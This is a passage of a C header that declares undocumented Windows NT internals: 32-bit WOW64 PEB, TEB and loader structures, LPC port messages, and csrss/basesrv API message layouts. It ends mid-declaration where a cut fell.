#define TLS_EXPANSION_SLOTS 1024 #define DOS_MAX_COMPONENT_LENGTH 255 #define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; #define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 #define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; #define WOW64_SYSTEM_DIRECTORY "SysWOW64" #define WOW64_SYSTEM_DIRECTORY_U L"SysWOW64" #define WOW64_X86_TAG " (x86)" #define WOW64_X86_TAG_U L" (x86)" typedef enum _WOW64_SHARED_INFORMATION { SharedNtdll32LdrInitializeThunk = 0, SharedNtdll32KiUserExceptionDispatcher = 1, SharedNtdll32KiUserApcDispatcher = 2, SharedNtdll32KiUserCallbackDispatcher = 3, SharedNtdll32LdrHotPatchRoutine = 4, SharedNtdll32ExpInterlockedPopEntrySListFault = 5, SharedNtdll32ExpInterlockedPopEntrySListResume = 6, SharedNtdll32ExpInterlockedPopEntrySListEnd = 7, SharedNtdll32RtlUserThreadStart = 8, SharedNtdll32pQueryProcessDebugInformationRemote = 9, SharedNtdll32EtwpNotificationThread = 10, SharedNtdll32BaseAddress = 11, Wow64SharedPageEntriesCount = 12 } WOW64_SHARED_INFORMATION; // 21.12.2011 added #define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) // 21.12.2011 - end // 32-bit definitions #if (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef struct LIST_ENTRY32 { DWORD Flink; DWORD Blink; } LIST_ENTRY32; typedef LIST_ENTRY32 *PLIST_ENTRY32; typedef struct LIST_ENTRY64 { ULONGLONG Flink; ULONGLONG Blink; } LIST_ENTRY64; typedef LIST_ENTRY64 *PLIST_ENTRY64; #endif #define WOW64_POINTER(Type) ULONG typedef struct _PEB_LDR_DATA32 { ULONG Length; BOOLEAN Initialized; WOW64_POINTER(HANDLE) SsHandle; LIST_ENTRY32 InLoadOrderModuleList; LIST_ENTRY32 InMemoryOrderModuleList; LIST_ENTRY32 InInitializationOrderModuleList; WOW64_POINTER(PVOID) EntryInProgress; BOOLEAN ShutdownInProgress; WOW64_POINTER(HANDLE) ShutdownThreadId; } PEB_LDR_DATA32, *PPEB_LDR_DATA32; #define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks ) typedef struct _LDR_DATA_TABLE_ENTRY32 { LIST_ENTRY32 InLoadOrderLinks; LIST_ENTRY32 InMemoryOrderLinks; LIST_ENTRY32 InInitializationOrderLinks; WOW64_POINTER(PVOID) DllBase; WOW64_POINTER(PVOID) EntryPoint; ULONG SizeOfImage; UNICODE_STRING32 FullDllName; UNICODE_STRING32 BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY32 HashLinks; struct { WOW64_POINTER(PVOID) SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; WOW64_POINTER(PVOID) LoadedImports; }; WOW64_POINTER(PVOID) EntryPointActivationContext; WOW64_POINTER(PVOID) PatchInformation; LIST_ENTRY32 ForwarderLinks; LIST_ENTRY32 ServiceTagLinks; LIST_ENTRY32 StaticLinks; WOW64_POINTER(PVOID) ContextInformation; WOW64_POINTER(ULONG_PTR) OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32; typedef struct _CURDIR32 { UNICODE_STRING32 DosPath; WOW64_POINTER(HANDLE) Handle; } CURDIR32, *PCURDIR32; typedef struct _RTL_DRIVE_LETTER_CURDIR32 { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING32 DosPath; } RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32; typedef struct _RTL_USER_PROCESS_PARAMETERS32 { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; WOW64_POINTER(HANDLE) ConsoleHandle; ULONG ConsoleFlags; WOW64_POINTER(HANDLE) StandardInput; WOW64_POINTER(HANDLE) StandardOutput; WOW64_POINTER(HANDLE) StandardError; CURDIR32 CurrentDirectory; UNICODE_STRING32 DllPath; UNICODE_STRING32 ImagePathName; UNICODE_STRING32 CommandLine; WOW64_POINTER(PVOID) Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING32 WindowTitle; UNICODE_STRING32 DesktopInfo; UNICODE_STRING32 ShellInfo; UNICODE_STRING32 RuntimeData; RTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; } RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32; typedef struct _PEB32 { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; WOW64_POINTER(HANDLE) Mutant; WOW64_POINTER(PVOID) ImageBaseAddress; WOW64_POINTER(PPEB_LDR_DATA) Ldr; WOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters; WOW64_POINTER(PVOID) SubSystemData; WOW64_POINTER(PVOID) ProcessHeap; WOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock; WOW64_POINTER(PVOID) AtlThunkSListPtr; WOW64_POINTER(PVOID) IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { WOW64_POINTER(PVOID) KernelCallbackTable; WOW64_POINTER(PVOID) UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; WOW64_POINTER(PVOID) ApiSetMap; ULONG TlsExpansionCounter; WOW64_POINTER(PVOID) TlsBitmap; ULONG TlsBitmapBits[2]; WOW64_POINTER(PVOID) ReadOnlySharedMemoryBase; WOW64_POINTER(PVOID) HotpatchInformation; WOW64_POINTER(PPVOID) ReadOnlyStaticServerData; WOW64_POINTER(PVOID) AnsiCodePageData; WOW64_POINTER(PVOID) OemCodePageData; WOW64_POINTER(PVOID) UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; WOW64_POINTER(SIZE_T) HeapSegmentReserve; WOW64_POINTER(SIZE_T) HeapSegmentCommit; WOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold; WOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; WOW64_POINTER(PPVOID) ProcessHeaps; WOW64_POINTER(PVOID) GdiSharedHandleTable; WOW64_POINTER(PVOID) ProcessStarterHelper; ULONG GdiDCAttributeList; WOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; WOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask; GDI_HANDLE_BUFFER32 GdiHandleBuffer; WOW64_POINTER(PVOID) PostProcessInitRoutine; WOW64_POINTER(PVOID) TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; // Rest of structure not included. } PEB32, *PPEB32; #define GDI_BATCH_BUFFER_SIZE 310 typedef struct _GDI_TEB_BATCH32 { ULONG Offset; WOW64_POINTER(ULONG_PTR) HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH32, *PGDI_TEB_BATCH32; #if (_MSC_VER < 1300) && !defined(_WINDOWS_) // // 32 and 64 bit specific version for wow64 and the debugger // typedef struct _NT_TIB32 { DWORD ExceptionList; DWORD StackBase; DWORD StackLimit; DWORD SubSystemTib; union { DWORD FiberData; DWORD Version; }; DWORD ArbitraryUserPointer; DWORD Self; } NT_TIB32, *PNT_TIB32; typedef struct _NT_TIB64 { DWORD64 ExceptionList; DWORD64 StackBase; DWORD64 StackLimit; DWORD64 SubSystemTib; union { DWORD64 FiberData; DWORD Version; }; DWORD64 ArbitraryUserPointer; DWORD64 Self; } NT_TIB64, *PNT_TIB64; #endif typedef struct _TEB32 { NT_TIB32 NtTib; WOW64_POINTER(PVOID) EnvironmentPointer; CLIENT_ID32 ClientId; WOW64_POINTER(PVOID) ActiveRpcHandle; WOW64_POINTER(PVOID) ThreadLocalStoragePointer; WOW64_POINTER(PPEB) ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; WOW64_POINTER(PVOID) CsrClientThread; WOW64_POINTER(PVOID) Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; WOW64_POINTER(PVOID) WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; WOW64_POINTER(PVOID) SystemReserved1[54]; NTSTATUS ExceptionCode; WOW64_POINTER(PVOID) ActivationContextStackPointer; BYTE SpareBytes[36]; ULONG TxFsContext; GDI_TEB_BATCH32 GdiTebBatch; CLIENT_ID32 RealClientId; WOW64_POINTER(HANDLE) GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; WOW64_POINTER(PVOID) GdiThreadLocalInfo; WOW64_POINTER(ULONG_PTR) Win32ClientInfo[62]; WOW64_POINTER(PVOID) glDispatchTable[233]; WOW64_POINTER(ULONG_PTR) glReserved1[29]; WOW64_POINTER(PVOID) glReserved2; WOW64_POINTER(PVOID) glSectionInfo; WOW64_POINTER(PVOID) glSection; WOW64_POINTER(PVOID) glTable; WOW64_POINTER(PVOID) glCurrentRC; WOW64_POINTER(PVOID) glContext; NTSTATUS LastStatusValue; UNICODE_STRING32 StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; WOW64_POINTER(PVOID) DeallocationStack; WOW64_POINTER(PVOID) TlsSlots[64]; LIST_ENTRY32 TlsLinks; } TEB32, *PTEB32; typedef VOID (*PPS_POST_PROCESS_INIT_ROUTINE) ( VOID ); typedef struct _TIB { struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; PVOID StackBase; PVOID StackLimit; PVOID SubSystemTib; union { PVOID FiberData; ULONG Version; }; PVOID ArbitraryUserPointer; struct _TIB *Self; } TIB; typedef TIB *PTIB; // // inifile mapping // typedef struct _NLS_USER_INFO { /**/ /*|0xa0|*/ WCHAR iCountry[80]; /**/ /*|0xa0|*/ WCHAR sCountry[80]; /**/ /*|0xa0|*/ WCHAR sList[80]; /**/ /*|0xa0|*/ WCHAR iMeasure[80]; /**/ /*|0xa0|*/ WCHAR iPaperSize[80]; /**/ /*|0xa0|*/ WCHAR sDecimal[80]; /**/ /*|0xa0|*/ WCHAR sThousand[80]; /**/ /*|0xa0|*/ WCHAR sGrouping[80]; /**/ /*|0xa0|*/ WCHAR iDigits[80]; /**/ /*|0xa0|*/ WCHAR iLZero[80]; /**/ /*|0xa0|*/ WCHAR iNegNumber[80]; /**/ /*|0xa0|*/ WCHAR sNativeDigits[80]; /**/ /*|0xa0|*/ WCHAR iDigitSubstitution[80]; /**/ /*|0xa0|*/ WCHAR sCurrency[80]; /**/ /*|0xa0|*/ WCHAR sMonDecSep[80]; /**/ /*|0xa0|*/ WCHAR sMonThouSep[80]; /**/ /*|0xa0|*/ WCHAR sMonGrouping[80]; /**/ /*|0xa0|*/ WCHAR iCurrDigits[80]; /**/ /*|0xa0|*/ WCHAR iCurrency[80]; /**/ /*|0xa0|*/ WCHAR iNegCurr[80]; /**/ /*|0xa0|*/ WCHAR sPosSign[80]; /**/ /*|0xa0|*/ WCHAR sNegSign[80]; /**/ /*|0xa0|*/ WCHAR sTimeFormat[80]; /**/ /*|0xa0|*/ WCHAR s1159[80]; /**/ /*|0xa0|*/ WCHAR s2359[80]; /**/ /*|0xa0|*/ WCHAR sShortDate[80]; /**/ /*|0xa0|*/ WCHAR sYearMonth[80]; /**/ /*|0xa0|*/ WCHAR sLongDate[80]; /**/ /*|0xa0|*/ WCHAR iCalType[80]; /**/ /*|0xa0|*/ WCHAR iFirstDay[80]; /**/ /*|0xa0|*/ WCHAR iFirstWeek[80]; /**/ /*|0xa0|*/ WCHAR sLocale[80]; /**/ /*|0xaa|*/ WCHAR sLocaleName[85]; /**/ /*|0x4|*/ ULONG UserLocaleId; /**/ /*|0x8|*/ struct _LUID InteractiveUserLuid; /**/ /*|0x44|*/ UCHAR InteractiveUserSid[68]; /**/ /*|0x4|*/ ULONG ulCacheUpdateCount; } NLS_USER_INFO, *PNLS_USER_INFO; // typedef struct _INIFILE_MAPPING_TARGET { struct _INIFILE_MAPPING_TARGET* Next; struct _UNICODE_STRING RegistryPath; } INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET; typedef struct _INIFILE_MAPPING_VARNAME { struct _INIFILE_MAPPING_VARNAME* Next; UNICODE_STRING Name; ULONG MappingFlags; struct _INIFILE_MAPPING_TARGET* MappingTarget; } INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME; typedef struct _INIFILE_MAPPING_APPNAME { struct _INIFILE_MAPPING_APPNAME* Next; UNICODE_STRING Name; struct _INIFILE_MAPPING_VARNAME* VariableNames; struct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping; } INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME; typedef struct _INIFILE_MAPPING_FILENAME { struct _INIFILE_MAPPING_FILENAME* Next; UNICODE_STRING Name; struct _INIFILE_MAPPING_APPNAME* ApplicationNames; struct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping; } INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME; typedef struct _INIFILE_MAPPING { struct _INIFILE_MAPPING_FILENAME* FileNames; struct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping; struct _INIFILE_MAPPING_FILENAME* WinIniFileMapping; ULONG Reserved; } INIFILE_MAPPING, *PINIFILE_MAPPING; #define PORT_CONNECT (0x0001) #define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) typedef struct _PORT_MESSAGE { union { struct { CSHORT DataLength; CSHORT TotalLength; } s1; ULONG Length; } u1; union { struct { CSHORT Type; CSHORT DataInfoOffset; } s2; ULONG ZeroInit; } u2; union { LPC_CLIENT_ID ClientId; double DoNotUseThisField; // Force quadword alignment }; ULONG MessageId; union { LPC_SIZE_T ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message ULONG CallbackId; // Only valid on LPC_REQUEST message }; // UCHAR Data[]; } PORT_MESSAGE, *PPORT_MESSAGE; typedef struct _PORT_DATA_ENTRY { LPC_PVOID Base; ULONG Size; } PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; typedef struct _PORT_DATA_INFORMATION { ULONG CountDataEntries; PORT_DATA_ENTRY DataEntries[1]; } PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; // // csrss & csrsrv related // typedef ULONG CSR_API_NUMBER; #define CSR_API_PORT_NAME L"ApiPort" // // This structure is filled in by the client prior to connecting to the CSR // server. The CSR server will fill in the OUT fields if prior to accepting // the connection. // typedef struct _CSR_API_CONNECTINFO { HANDLE ObjectDirectory; PVOID SharedSectionBase; PVOID SharedStaticServerData; PVOID SharedSectionHeap; ULONG DebugFlags; ULONG SizeOfPebData; ULONG SizeOfTebData; ULONG NumberOfServerDllNames; HANDLE ServerProcessId; } CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO; // // Message format for messages sent from the client to the server // typedef struct _CSR_CLIENTCONNECT_MSG { ULONG ServerDllIndex; PVOID ConnectionInformation; ULONG ConnectionInformationLength; } CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG; // #define CSR_NORMAL_PRIORITY_CLASS 0x00000010 #define CSR_IDLE_PRIORITY_CLASS 0x00000020 #define CSR_HIGH_PRIORITY_CLASS 0x00000040 #define CSR_REALTIME_PRIORITY_CLASS 0x00000080 typedef struct _CSR_CAPTURE_HEADER { ULONG Length; PVOID RelatedCaptureBuffer; ULONG CountMessagePointers; PCHAR FreeSpace; ULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers } CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER; #define WINSS_OBJECT_DIRECTORY_NAME L"\\Windows" #define CSRSRV_SERVERDLL_INDEX 0 #define CSRSRV_FIRST_API_NUMBER 0 #define BASESRV_SERVERDLL_INDEX 1 #define BASESRV_FIRST_API_NUMBER 0 #define CONSRV_SERVERDLL_INDEX 2 #define CONSRV_FIRST_API_NUMBER 512 #define USERSRV_SERVERDLL_INDEX 3 #define USERSRV_FIRST_API_NUMBER 1024 #define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \ (CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex)) #define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \ ((ULONG)((ULONG)(ApiNumber) >> 16)) #define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \ ((ULONG)((USHORT)(ApiNumber))) typedef struct _CSR_NT_SESSION { struct _LIST_ENTRY SessionLink; ULONG SessionId; ULONG ReferenceCount; STRING RootDirectory; } CSR_NT_SESSION, *PCSR_NT_SESSION; typedef struct _CSR_API_MSG { PORT_MESSAGE h; union { CSR_API_CONNECTINFO ConnectionRequest; struct { PCSR_CAPTURE_HEADER CaptureBuffer; CSR_API_NUMBER ApiNumber; ULONG ReturnValue; ULONG Reserved; union { CSR_CLIENTCONNECT_MSG ClientConnect; ULONG_PTR ApiMessageData[ 46 ]; } u; }; }; } CSR_API_MSG, *PCSR_API_MSG; typedef ULONG (*PCSR_CALLBACK_ROUTINE)( _Inout_ PCSR_API_MSG ReplyMsg ); typedef struct _CSR_CALLBACK_INFO { ULONG ApiNumberBase; ULONG MaxApiNumber; PCSR_CALLBACK_ROUTINE *CallbackDispatchTable; } CSR_CALLBACK_INFO, *PCSR_CALLBACK_INFO; // end csrss // // Time Zone // typedef struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION { struct _RTL_TIME_ZONE_INFORMATION tzi; WCHAR TimeZoneKeyName[ 128 ]; UCHAR DynamicDaylightTimeDisabled; } RTL_DYNAMIC_TIME_ZONE_INFORMATION, *PRTL_DYNAMIC_TIME_ZONE_INFORMATION; // // // basesrv api // typedef struct _BASESRV_API_CONNECTINFO { ULONG ExpectedVersion; HANDLE DefaultObjectDirectory; ULONG WindowsVersion; ULONG CurrentVersion; ULONG DebugFlags; WCHAR WindowsDirectory[ MAX_PATH ]; WCHAR WindowsSystemDirectory[ MAX_PATH ]; } BASESRV_API_CONNECTINFO, *PBASESRV_API_CONNECTINFO; typedef enum _BASESRV_API_NUMBER { BasepCreateProcess = BASESRV_FIRST_API_NUMBER, BasepCreateThread, BasepGetTempFile, BasepExitProcess, BasepDebugProcess, BasepCheckVDM, BasepUpdateVDMEntry, BasepGetNextVDMCommand, BasepExitVDM, BasepIsFirstVDM, BasepGetVDMExitCode, BasepSetReenterCount, BasepSetProcessShutdownParam, BasepGetProcessShutdownParam, BasepSetVDMCurDirs, BasepGetVDMCurDirs, BasepBatNotification, BasepRegisterWowExec, BasepSoundSentryNotification, BasepRefreshIniFileMapping, BasepDefineDosDevice, BasepSetTermsrvAppInstallMode, BasepSetTermsrvClientTimeZone, BasepSxsCreateActivationContext, BasepDebugProcessStop, BasepRegisterThread, BasepDeferredCreateProcess, BasepNlsGetUserInfo, BasepNlsSetUserInfo, BasepNlsUpdateCacheCount, BasepMaxApiNumber } BASESRV_API_NUMBER, *PBASESRV_API_NUMBER; typedef struct _BASE_NLS_SET_USER_INFO_MSG { ULONG LCType; USHORT* pData; ULONG DataLength; } BASE_NLS_SET_USER_INFO_MSG, *PBASE_NLS_SET_USER_INFO_MSG; typedef struct _BASE_NLS_GET_USER_INFO_MSG { struct _NLS_USER_INFO* pData; ULONG DataLength; } BASE_NLS_GET_USER_INFO_MSG, *PBASE_NLS_GET_USER_INFO_MSG; typedef struct _BASE_NLS_UPDATE_CACHE_COUNT_MSG { ULONG Reserved; } BASE_NLS_UPDATE_CACHE_COUNT_MSG, *PBASE_NLS_UPDATE_CACHE_COUNT_MSG; typedef struct _BASE_UPDATE_VDM_ENTRY_MSG { ULONG iTask; ULONG BinaryType; PVOID ConsoleHandle; PVOID VDMProcessHandle; PVOID WaitObjectForParent; USHORT EntryIndex; USHORT VDMCreationState; } BASE_UPDATE_VDM_ENTRY_MSG, *PBASE_UPDATE_VDM_ENTRY_MSG; typedef struct _BASE_GET_NEXT_VDM_COMMAND_MSG { ULONG iTask; PVOID ConsoleHandle; PVOID WaitObjectForVDM; PVOID StdIn; PVOID StdOut; PVOID StdErr; ULONG CodePage; ULONG dwCreationFlags; ULONG ExitCode; PCHAR CmdLine; PCHAR AppName; PCHAR PifFile; PCHAR CurDirectory; PCHAR Env; ULONG EnvLen; struct _STARTUPINFOA* StartupInfo; PCHAR Desktop; ULONG DesktopLen; PCHAR Title; ULONG TitleLen; PCHAR Reserved; ULONG ReservedLen; USHORT CurrentDrive; USHORT CmdLen; USHORT AppLen; USHORT PifLen; USHORT CurDirectoryLen; USHORT VDMState; UCHAR fComingFromBat; } BASE_GET_NEXT_VDM_COMMAND_MSG, *PBASE_GET_NEXT_VDM_COMMAND_MSG; typedef struct _BASE_SHUTDOWNPARAM_MSG { ULONG ShutdownLevel; ULONG ShutdownFlags; } BASE_SHUTDOWNPARAM_MSG, *PBASE_SHUTDOWNPARAM_MSG; typedef struct _BASE_GETTEMPFILE_MSG { ULONG uUnique; } BASE_GETTEMPFILE_MSG, *PBASE_GETTEMPFILE_MSG; typedef struct _BASE_DEBUGPROCESS_MSG { ULONG dwProcessId; CLIENT_ID DebuggerClientId; PVOID AttachCompleteRoutine; } BASE_DEBUGPROCESS_MSG, *PBASE_DEBUGPROCESS_MSG; // typedef struct _BASE_CHECKVDM_MSG { ULONG iTask; HANDLE ConsoleHandle; ULONG BinaryType; HANDLE WaitObjectForParent; HANDLE StdIn; HANDLE StdOut; HANDLE StdErr; ULONG CodePage; ULONG dwCreationFlags; PCHAR CmdLine; PCHAR AppName; PCHAR PifFile; PCHAR CurDirectory; PCHAR Env; ULONG EnvLen; LPSTARTUPINFOA StartupInfo; PCHAR Desktop; ULONG DesktopLen; PCHAR Title; ULONG TitleLen; PCHAR Reserved; ULONG ReservedLen; USHORT CmdLen; USHORT AppLen; USHORT PifLen; USHORT CurDirectoryLen; USHORT CurDrive; USHORT VDMState; struct _LUID* UserLuid; } BASE_CHECKVDM_MSG, *PBASE_CHECKVDM_MSG; typedef struct _BASE_GET_VDM_EXIT_CODE_MSG { PVOID ConsoleHandle; PVOID hParent; ULONG ExitCode; } BASE_GET_VDM_EXIT_CODE_MSG, *PBASE_GET_VDM_EXIT_CODE_MSG; // typedef struct _BASE_DEFERREDCREATEPROCESS_MSG { struct _CLIENT_ID* ClientId; ULONG NtUserFlags; } BASE_DEFERREDCREATEPROCESS_MSG, *PBASE_DEFERREDCREATEPROCESS_MSG; // typedef struct _BASE_EXITPROCESS_MSG { NTSTATUS uExitCode; } BASE_EXITPROCESS_MSG, *PBASE_EXITPROCESS_MSG; // typedef struct _BASE_GET_SET_VDM_CUR_DIRS_MSG { PVOID ConsoleHandle; PCHAR lpszzCurDirs; ULONG cchCurDirs; } BASE_GET_SET_VDM_CUR_DIRS_MSG, *PBASE_GET_SET_VDM_CUR_DIRS_MSG; // typedef struct _BASE_SET_REENTER_COUNT { PVOID ConsoleHandle; ULONG fIncDec; } BASE_SET_REENTER_COUNT, *PBASE_SET_REENTER_COUNT; // #if !defined(_WINNT_) || (defined(_MSC_VER) && (_MSC_VER >= 1300)) typedef enum { ACTCTX_RUN_LEVEL_UNSPECIFIED = 0, ACTCTX_RUN_LEVEL_AS_INVOKER, ACTCTX_RUN_LEVEL_HIGHEST_AVAILABLE, ACTCTX_RUN_LEVEL_REQUIRE_ADMIN, ACTCTX_RUN_LEVEL_NUMBERS } ACTCTX_REQUESTED_RUN_LEVEL; typedef struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION { DWORD ulFlags; ACTCTX_REQUESTED_RUN_LEVEL RunLevel; DWORD UiAccess; } ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION, * PACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; typedef const struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION * PCACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION; #endif typedef struct _BASE_SXS_CREATEPROCESS_MSG { ULONG Flags; ULONG ProcessParameterFlags; union { UNICODE_STRING CultureFallbacks; ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; UNICODE_STRING AssemblyName; } u; } BASE_SXS_CREATEPROCESS_MSG, *PBASE_SXS_CREATEPROCESS_MSG; // typedef struct _BASE_CREATEPROCESS_MSG { PVOID ProcessHandle; PVOID ThreadHandle; CLIENT_ID ClientId; ULONG CreationFlags; ULONG VdmBinaryType; ULONG VdmTask; PVOID hVDM; struct _BASE_SXS_CREATEPROCESS_MSG Sxs; ULONGLONG PebAddressNative; ULONG PebAddressWow64; USHORT ProcessorArchitecture; } BASE_CREATEPROCESS_MSG, *PBASE_CREATEPROCESS_MSG; // typedef struct _BASE_CREATETHREAD_MSG { PVOID ThreadHandle; CLIENT_ID ClientId; } BASE_CREATETHREAD_MSG, *PBASE_CREATETHREAD_MSG; // typedef struct _BASE_MSG_SXS_HANDLES { PVOID File; PVOID Process; PVOID Section; ULONGLONG ViewBase; } BASE_MSG_SXS_HANDLES, *PBASE_MSG_SXS_HANDLES; // typedef struct _BASE_EXIT_VDM_MSG { PVOID ConsoleHandle; ULONG iWowTask; PVOID WaitObjectForVDM; } BASE_EXIT_VDM_MSG, *PBASE_EXIT_VDM_MSG; // typedef struct _BASE_IS_FIRST_VDM_MSG { __int32 FirstVDM; } BASE_IS_FIRST_VDM_MSG, *PBASE_IS_FIRST_VDM_MSG; // typedef struct _BASE_SET_REENTER_COUNT_MSG { PVOID ConsoleHandle; ULONG fIncDec; } BASE_SET_REENTER_COUNT_MSG, *PBASE_SET_REENTER_COUNT_MSG; // typedef struct _BASE_BAT_NOTIFICATION_MSG { PVOID ConsoleHandle; ULONG fBeginEnd; } BASE_BAT_NOTIFICATION_MSG, *PBASE_BAT_NOTIFICATION_MSG; // typedef struct _BASE_REGISTER_WOWEXEC_MSG { PVOID hEventWowExec; PVOID ConsoleHandle; } BASE_REGISTER_WOWEXEC_MSG, *PBASE_REGISTER_WOWEXEC_MSG; // typedef struct _BASE_REFRESHINIFILEMAPPING_MSG { UNICODE_STRING IniFileName; } BASE_REFRESHINIFILEMAPPING_MSG, *PBASE_REFRESHINIFILEMAPPING_MSG; // typedef struct _BASE_SET_TERMSRVCLIENTTIMEZONE { struct _RTL_DYNAMIC_TIME_ZONE_INFORMATION* pDTZInfo; ULONG ulDTZInfoSize; KSYSTEM_TIME RealBias; ULONG TimeZoneId; } BASE_SET_TERMSRVCLIENTTIMEZONE, *PBASE_SET_TERMSRVCLIENTTIMEZONE; // typedef struct _BASE_SET_TERMSRVAPPINSTALLMODE { __int32 bState; } BASE_SET_TERMSRVAPPINSTALLMODE, *PBASE_SET_TERMSRVAPPINSTALLMODE; typedef struct _BASE_SOUNDSENTRY_NOTIFICATION_MSG { ULONG VideoMode; } BASE_SOUNDSENTRY_NOTIFICATION_MSG, *PBASE_SOUNDSENTRY_NOTIFICATION_MSG; // typedef struct _BASE_DEFINEDOSDEVICE_MSG { ULONG Flags; UNICODE_STRING DeviceName; UNICODE_STRING TargetPath; } BASE_DEFINEDOSDEVICE_MSG, *PBASE_DEFINEDOSDEVICE_MSG; // typedef struct _BASE_MSG_SXS_STREAM { UCHAR 